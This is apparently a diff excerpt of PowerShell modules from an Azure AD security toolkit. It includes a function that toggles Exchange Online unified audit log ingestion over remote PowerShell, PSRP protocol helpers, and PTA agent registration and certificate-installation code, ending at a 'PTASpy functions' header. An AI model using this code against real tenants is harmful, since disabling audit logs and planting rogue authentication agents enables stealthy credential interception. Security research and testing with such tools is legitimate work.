$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Set-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-UnifiedAuditLogIngestionEnabled:</S><B N="V">$($Enable.ToString().ToLower())</B></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="14"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="15"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="16"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Set-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
+572
View File
@@ -0,0 +1,572 @@
# PowerShell Remoting Protocol utils
# Fragments
$const_fragment_start = 0x01
$const_fragment_end = 0x02
$const_fragment_start_end = 0x03
$const_fragment_middle = 0x00
$PSRM_message_fragment=@{
$const_fragment_start = "Start"
$const_fragment_end = "End"
$const_fragment_start_end = "Single"
$const_fragment_middle = "Middle"
}
# Destinations
$const_destination_client = 0x01
$const_destination_server = 0x02
$PSRM_message_destination=@{
$const_destination_client = "Client"
$const_destination_server = "Server"
}
# Message types
$const_SESSION_CAPABILITY = 0x00010002
$const_INIT_RUNSPACEPOOL = 0x00010004
$const_PUBLIC_KEY = 0x00010005
$const_ENCRYPTED_SESSION_KEY = 0x00010006
$const_PUBLIC_KEY_REQUEST = 0x00010007
$const_CONNECT_RUNSPACEPOOL = 0x00010008
$const_SET_MAX_RUNSPACES = 0x00021002
$const_SET_MIN_RUNSPACES = 0x00021003
$const_RUNSPACE_AVAILABILITY = 0x00021004
$const_RUNSPACEPOOL_STATE = 0x00021005
$const_CREATE_PIPELINE = 0x00021006
$const_GET_AVAILABLE_RUNSPACES = 0x00021007
$const_USER_EVENT = 0x00021008
$const_APPLICATION_PRIVATE_DATA = 0x00021009
$const_GET_COMMAND_METADATA = 0x0002100A
$const_RUNSPACEPOOL_INIT_DATA = 0x0002100B
$const_RESET_RUNSPACE_STATE = 0x0002100C
$const_RUNSPACEPOOL_HOST_CALL = 0x00021100
$const_RUNSPACEPOOL_HOST_RESPONSE=0x00021101
$const_PIPELINE_INPUT = 0x00041002
$const_END_OF_PIPELINE_INPUT = 0x00041003
$const_PIPELINE_OUTPUT = 0x00041004
$const_ERROR_RECORD = 0x00041005
$const_PIPELINE_STATE = 0x00041006
$const_DEBUG_RECORD = 0x00041007
$const_VERBOSE_RECORD = 0x00041008
$const_WARNING_RECORD = 0x00041009
$const_PROGRESS_RECORD = 0x00041010
$const_INFORMATION_RECORD = 0x00041011
$const_PIPELINE_HOST_CALL = 0x00041100
$const_PIPELINE_HOST_RESPONSE = 0x00041101
$PSRM_message_types=@{
$const_SESSION_CAPABILITY = "Session capability"
$const_INIT_RUNSPACEPOOL = "Init runspacepool"
$const_PUBLIC_KEY = "Public key"
$const_ENCRYPTED_SESSION_KEY = "Encrypted session key"
$const_PUBLIC_KEY_REQUEST = "Public key request"
$const_SET_MAX_RUNSPACES = "Set max runspaces"
$const_SET_MIN_RUNSPACES = "Set min runspaces"
$const_RUNSPACE_AVAILABILITY = "Runspace availability"
$const_APPLICATION_PRIVATE_DATA = "Application private data"
$const_GET_COMMAND_METADATA = "Get command metadata"
$const_RUNSPACEPOOL_STATE = "Runspool state"
$const_CREATE_PIPELINE = "Create pipeline"
$const_GET_AVAILABLE_RUNSPACES = "Get available runspaces"
$const_USER_EVENT = "User event"
$const_RUNSPACEPOOL_HOST_CALL = "Runspacepool host call"
$const_RUNSPACEPOOL_HOST_RESPONSE = "Runspacepool host response"
$const_PIPELINE_STATE = "Pipeline state"
$const_PIPELINE_INPUT = "Pipeline input"
$const_END_OF_PIPELINE_INPUT = "End of pipeline input"
$const_PIPELINE_OUTPUT = "Pipeline output"
$const_PIPELINE_HOST_CALL = "Pipeline host call"
$const_PIPELINE_HOST_RESPONSE = "Pipeline host response"
$const_ERROR_RECORD = "Error record"
$const_DEBUG_RECORD = "Debug record"
$const_VERBOSE_RECORD = "Verbose record"
$const_WARNING_RECORD = "Warning record"
$const_PROGRESS_RECORD = "Progress record"
$const_INFORMATION_RECORD = "Informaition record"
$const_CONNECT_RUNSPACEPOOL = "Connect runspacepool"
$const_RUNSPACEPOOL_INIT_DATA = "Runspacepool init data"
$const_RESET_RUNSPACE_STATE = "Reset runspace state"
}
# Runspace status
$const_beforeopen = 0x00
$const_opening = 0x01
$const_opened = 0x02
$const_closed = 0x03
$const_closing = 0x04
$const_broken = 0x05
$const_negotiationsent = 0x06
$const_negotiationsucceeded = 0x07
$const_connecting = 0x08
$const_disconnected = 0x09
# Invocation state
$const_Notstarted = 0x00
$const_Running = 0x01
$const_Stopping = 0x02
$const_Stopped = 0x03
$const_Completed = 0x04
$const_Failed = 0x05
$const_Disconnected = 0x06
# Waiting messages
$waiting_messages=@(
"Your PC is almost ready..."
"We're getting everything ready for you..."
"Almost there..."
"Back in a moment..."
"This might take several minutes..."
"It's taking a bit longer than expected, but we'll get there as fast as we can..."
"Don't turn off your PC..."
"This might take a while..."
"This might take a while, I'll tell you when we're ready.."
)
# Function returning a random waiting message
function Get-WaitingMessage
{
[int]$msg=Get-Random -Minimum 0 -Maximum ($waiting_messages.Count-1)
return $waiting_messages[$msg]
}
# Parse the PowerShell Remoting Protocol Message
function Parse-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Base64',Mandatory=$True)]
[String]$Base64Value,
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[Byte[]]$ByteArray,
[Parameter(Mandatory=$False)]
[int]$Skip=0
)
Process
{
# If Base64, decode to byte[]
if(![String]::IsNullOrEmpty($Base64Value))
{
Write-Verbose "Decoding message to bytes ($Base64Value)"
[byte[]]$ByteArray = [System.Convert]::FromBase64String($Base64Value)
}
$messageLength = $ByteArray.Count
# Check the length
if($messageLength -le 4)
{
Throw "Message too short"
}
$position = $skip
$messages=@()
# There might be more than one message..
while($position -lt $messageLength)
{
# Message attributes
$attributes = [ordered]@{}
$ps_object_id=[byte[]]$ByteArray[($position)..($position+7)]
$ps_fragment_id=[byte[]]$ByteArray[($position+8)..($position+15)]
$ps_fragment=[int]$ByteArray[($position+16)]
$ps_blobLength=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+20)..($position+17)],0)
$ps_destination = [int]$ByteArray[($position+21)]
$ps_messagetype=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+25)..($position+28)],0)
$ps_rpid=[byte[]]$ByteArray[($position+29)..($position+44)]
$ps_pid=[byte[]]$ByteArray[($position+45)..($position+60)]
$attributes["Object Id"] = [System.BitConverter]::ToString($ps_object_id)
$attributes["Fragment Id"] = [System.BitConverter]::ToString($ps_fragment_id)
$attributes["Fragment"] = $PSRM_message_fragment[$ps_fragment]
$attributes["Data length"] = $ps_blobLength
$attributes["Destination"] = $PSRM_message_destination[$ps_destination]
$attributes["Message type"] = $PSRM_message_types[$ps_messagetype]
$attributes["RPID"] = ([guid]$ps_rpid).ToString()
$attributes["PID"] = ([guid]$ps_pid).ToString()
# Header length is 64 bytes so the actual data is after that
$xmlBytes = $ByteArray[($position+64)..($position+$ps_blobLength+20)]
$position += $xmlBytes.Count + 64
# The data is UTF8 text
[xml]$xml=[System.Text.Encoding]::UTF8.GetString($xmlBytes)
$attributes["Data"]=$xml.OuterXml
$message = New-Object PSObject -Property $attributes
Write-Verbose "Found message:"
Write-Verbose $message
$messages += $message
}
return $messages
}
}
# Creates the PowerShell Remoting Protocol Message
function Create-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Data,
[Parameter(Mandatory=$False)]
[guid]$MSG_RPID = (New-Guid),
[Parameter(Mandatory=$False)]
[guid]$MSG_PID = (New-Guid),
[Parameter(Mandatory=$False)]
[ValidateSet('Server','Client')]
[String]$Destination = "Server",
[Parameter(Mandatory=$False)]
[ValidateSet("Session_capability","Init_runspacepool","Public_key","Encrypted_session_key","Public_key_request","Set_max_runspaces","Set_min_runspaces","Runspace_availability","Application_private_data","Get_command_metadata","Runspool_state","Create_pipeline","Get_available_runspaces","User_event","Runspacepool_host_call","Runspacepool_host_response","Pipeline_state","Pipeline_input","End_of_pipeline_input","Pipeline_output","Pipeline_host_call","Pipeline_host_response","Error_record","Debug_record","Verbose_record","Warning_record","Progress_record","Informaition_record","Connect_runspacepool","Runspacepool_init_data","Reset_runspace_state")]
[String]$Type = "Create_pipeline",
[Parameter(Mandatory=$False)]
[Int]$ObjectId=3
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol message: $Destination, $Type"
$ByteArray = [System.Text.Encoding]::UTF8.getBytes($Data)
$messageLength = $ByteArray.Count+43 # Add the message header size
# Init the message
$message=@()
$ps_object_id=[byte[]]@(0,0,0,0,0,0,0,$ObjectId)
$ps_fragment_id=[byte[]]@(0,0,0,0,0,0,0,0)
$ps_fragment=[byte]$const_fragment_start_end
$ps_blobLength=[System.BitConverter]::GetBytes([uint32]$messageLength)
if($Destination -eq "Server")
{
$ps_destination = [byte] $const_destination_server
}
else
{
$ps_destination = [byte] $const_destination_client
}
$ps_messagetype=$PSRM_message_types.Keys |? { $PSRM_message_types[$_] -eq $Type.Replace("_"," ") }
$ps_messagetype=[System.BitConverter]::GetBytes([uint32]$ps_messagetype)
$ps_rpid=[byte[]]$MSG_RPID.ToByteArray()
$ps_pid=[byte[]]$MSG_PID.ToByteArray()
# Construct the message
$message += $ps_object_id # 01-08
$message += $ps_fragment_id # 09-16
$message += $ps_fragment # 17
$message += $ps_blobLength[3..0] # 18-21
$message += $ps_destination # 22-25 (continues on the next line)
$message += @(0x00, 0x00, 0x00) #
$message += $ps_messagetype # 26-29
$message += $ps_rpid # 30-45
$message += $ps_pid # 46-61
$message += $const_bom # 62-64
$message += $ByteArray
$b64Message = [System.Convert]::ToBase64String([byte[]]$message)
Write-Verbose "Message created: $b64Message"
return $b64Message
}
}
# Creates a PSRP Envelope
function Create-PSRPEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$SessionId=(New-Guid).ToString(),
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$False)]
[String[]]$Option,
[Parameter(Mandatory=$True)]
[ValidateSet('Create','Receive','Delete','Command')]
[String]$Action,
[Parameter(Mandatory=$False)]
[String]$Shell_Id
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol envelope: $action, $body"
switch ( $Action )
{
"Command" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command'}
"Create" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'}
"Receive" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive'}
"Delete" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'}
}
$MessageId = (New-Guid).ToString().ToUpper()
$OperationId = (New-Guid).ToString().ToUpper()
$SequenceId="1"
#$To = "https://ps.outlook.com:443/powershell?PSVersion=5.1.17134.590"
$To = "https://outlook.office365.com:443/PowerShell-LiveID?BasicAuthToOAuthConversion=true&amp;PSVersion=5.1.17763.1490"
$Envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>$To</a:To>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">$action_url</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:$MessageId</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:$SessionId</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:$OperationId</p:OperationID>
<p:SequenceId s:mustUnderstand="false">$SequenceId</p:SequenceId>
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
$(
if(![String]::IsNullOrEmpty($Shell_Id))
{
@"
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<w:Selector Name="ShellId">$Shell_Id</w:Selector>
</w:SelectorSet>
"@
}
)
$(
if(![String]::IsNullOrEmpty($Option))
{
@"
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
<w:Option Name="$($Option[0])">$($Option[1])</w:Option>
</w:OptionSet>
"@
}
)<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
$Body
</s:Body>
</s:Envelope>
"@
# This can be used to compress the data (which we don't want to)
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
Write-Verbose "ENVELOPE: $Envelope"
return $Envelope
}
}
# Creates a PSRP Envelope
function Call-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[Bool]$Oauth=$false
)
Process
{
Write-Verbose "Calling the Remote PowerShell: $Envelope"
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials
"Content-Type" = "application/soap+xml;charset=UTF-8"
"User-Agent" = "Microsoft WinRM Client"
}
$url="https://outlook.office365.com:443/PowerShell-LiveID?"
# EXO Remote PS uses basic authentication header to provide the Oauth token..
if($Oauth)
{
$url+="BasicAuthToOauthConversion=true;"
}
$url += "PSVersion=5.1.17134.590"
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri $url -Headers $headers -Body $Envelope -TimeoutSec 190
Write-Verbose "RESPONSE: $response.Content"
return $response.Content
}
}
# Reads the response(s)
function Receive-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
Write-Verbose "Retrieving PowerShell Remote Protocol response"
$AuthHeader = Create-AuthorizationHeader -Credentials $Credentials
$CommandIdString =""
if(![String]::IsNullOrEmpty($CommandId))
{
$CommandIdString = " CommandId=`"$CommandId`""
}
$Body = @"
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream$CommandIdString>stdout</rsp:DesiredStream>
</rsp:Receive>
"@
$SessionId = (New-Guid).ToString().ToUpper()
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Receive -Shell_Id $Shell_Id -Option @("WSMAN_CMDSHELL_OPTION_KEEPALIVE","TRUE")
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
Write-Verbose "RESPONSE: $response"
return $response
}
}
# Reads the response(s) and returns an array of objects
function Receive-PSRPObjects
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
$return_array = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Pipeline output")
{
# Loop thru the attributes
$attributes = [ordered]@{}
foreach($node in $xmlData.Obj.Props.ChildNodes)
{
$name = $node.N
$value = $node.InnerText
if($name -eq "ObjectClass")
{
# Special attribute..
$value=$node.LST.s[1]
}
$attributes[$name]=$value
}
$return_array+=(New-Object psobject -Property $attributes)
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Got an error! May be not an admin user?"
Write-Verbose "ERROR: $errorRecord"
}
}
elseif($parsed_message.'Message type' -eq "Warning record")
{
$warningRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='InformationalRecord_Message']").Node.'#text'
if(![string]::IsNullOrEmpty($warningRecord))
{
Write-Warning $warningRecord
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving objects" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
return $return_array
}
}
+215
View File
@@ -0,0 +1,215 @@
# This script contains utility functions for PTA
# Error codes
$ERROR_ACCESS_DENIED = 5
$ERROR_ACCOUNT_DISABLED = 1331
$ERROR_ACCOUNT_EXPIRED = 1793
$ERROR_ACCOUNT_LOCKED_OUT = 1909
$ERROR_ACCOUNT_RESTRICTION = 1327
$ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
$ERROR_BAD_ARGUMENTS = 160
$ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
$ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
$ERROR_FILENAME_EXCED_RANGE = 206
$ERROR_INTERNAL_ERROR = 1359
$ERROR_INVALID_ACCESS = 12
$ERROR_INVALID_LOGON_HOURS = 1328
$ERROR_INVALID_SERVER_STATE = 1352
$ERROR_INVALID_WORKSTATION = 1329
$ERROR_LDAP_FILTER_ERROR = 87
$ERROR_LDAP_OPERATIONS_ERROR = 1
$ERROR_LOGON_FAILURE = 1326
$ERROR_LOGON_TYPE_NOT_GRANTED = 1385
$ERROR_NETLOGON_NOT_STARTED = 1792
$ERROR_NOT_ENOUGH_MEMORY = 8
$ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
$ERROR_NO_LOGON_SERVERS = 1311
$ERROR_NO_SUCH_DOMAIN = 1355
$ERROR_NO_SUCH_PACKAGE = 1364
$ERROR_NO_SUCH_USER = 1317
$ERROR_NO_SYSTEM_RESOURCES = 1450
$ERROR_NO_TRUST_SAM_ACCOUNT = 1787
$ERROR_OUTOFMEMORY = 14
$ERROR_PASSWORD_EXPIRED = 1330
$ERROR_PASSWORD_MUST_CHANGE = 1907
$ERROR_PASSWORD_RESTRICTION = 1325
$ERROR_REQUEST_NOT_SUPPORTED = 50
$ERROR_RPC_S_CALL_FAILED = 1726
$ERROR_RPC_S_SERVER_UNAVAILABLE = 1722
$ERROR_TIME_SKEW = 1398
$ERROR_TOO_MANY_CONTEXT_IDS = 1384
$ERROR_TRUSTED_DOMAIN_FAILURE = 1788
$ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
$ERROR_WRONG_PASSWORD = 1323
$SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994
# Registers PTAAgent to the Azure AD
# Nov 10th 2019
# Sep 7th 2022: Added UpdateTrust
function Register-PTAAgent
{
<#
.SYNOPSIS
Registers the PTA agent to Azure AD and creates a client certificate or renews existing certificate.
.DESCRIPTION
Registers the PTA agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Get-AADIntAccessTokenForPTA -SaveToCache
Register-AADIntPTAAgent -MachineName "server1.company.com"
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$FileName,
[Parameter(ParameterSetName='normal',Mandatory=$False)]
[Parameter(ParameterSetName='update',Mandatory=$True)]
[switch]$UpdateTrust,
[Parameter(ParameterSetName='update',Mandatory=$True)]
[String]$PfxFileName,
[Parameter(ParameterSetName='update',Mandatory=$False)]
[String]$PfxPassword
)
Process
{
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType PTA -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword
}
}
# Sets the certificate used by Azure AD Authentication Agent
# Mar 3rd 2020
# May 18th 2022: Fixed
function Set-PTACertificate
{
<#
.SYNOPSIS
Sets the certificate used by Azure AD Authentication Agent
.DESCRIPTION
Sets the certificate used by Azure AD Authentication Agent.
The certificate must be created with Register-AADIntPTAAgent function or exported with Export-AADIntProxyAgentCertificates.
.Example
Set-AADIntPTACertificate -PfxFileName server1.pfx -PfxPassword "password"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$PfxFileName="PTA_client_certificate.pfx",
[Parameter(Mandatory=$False)]
[String]$PfxPassword
)
Process
{
# Check if the file exists
if(Test-Path $PfxFileName -ne $True)
{
Write-Error "The file $PfxFileName does not exist!"
return
}
# Import the certificate twice, otherwise PTAAgent has issues to access private keys
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
$cert.Import((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Add certificate to Local Computer Personal store
$myStore = Get-Item -Path "Cert:\LocalMachine\My"
$myStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$myStore.Add($cert)
$myStore.Close()
# Get the Tenant Id and Instance Id
$TenantId = $cert.Subject.Split("=")[1]
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
break
}
}
# Set the registry value (the registy entry should already exists)
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\InstanceID to $InstanceID"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "InstanceID" -Value $InstanceID
if(![string]::IsNullOrEmpty($TenantId))
{
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\TenantID to $TenantId"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "TenantID" -Value $TenantId
}
# Set the certificate thumbprint to config file
$configFile = "$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml"
Write-Verbose "Setting the certificate thumbprint $($cert.Thumbprint) to $configFile"
[xml]$TrustConfig = Get-Content $configFile
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint = $cert.Thumbprint
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore = "false"
$TrustConfig.OuterXml | Set-Content $configFile
# Set the read access to private key
$ServiceUser="NT SERVICE\AzureADConnectAuthenticationAgent"
# Create an accessrule for private key
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $ServiceUser, "read", allow
# Give read permissions to the private key
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert).Key.UniqueName
Write-Verbose "Private key: $keyName"
$paths = @(
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
)
foreach($path in $paths)
{
if(Test-Path $path)
{
Write-Verbose "Setting read access for ($ServiceUser) to the private key ($path)"
try
{
$permissions = Get-Acl -Path $path -ErrorAction SilentlyContinue
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions -ErrorAction SilentlyContinue
}
catch
{
Write-Error "Could not give read access for ($ServiceUser) to the private key ($path)!"
}
break
}
}
Write-Host "`nCertification information set, remember to (re)start the service."
}
}
BIN
View File
Binary file not shown.
+157
View File
@@ -0,0 +1,157 @@
# PTASpy functions
# Some constants
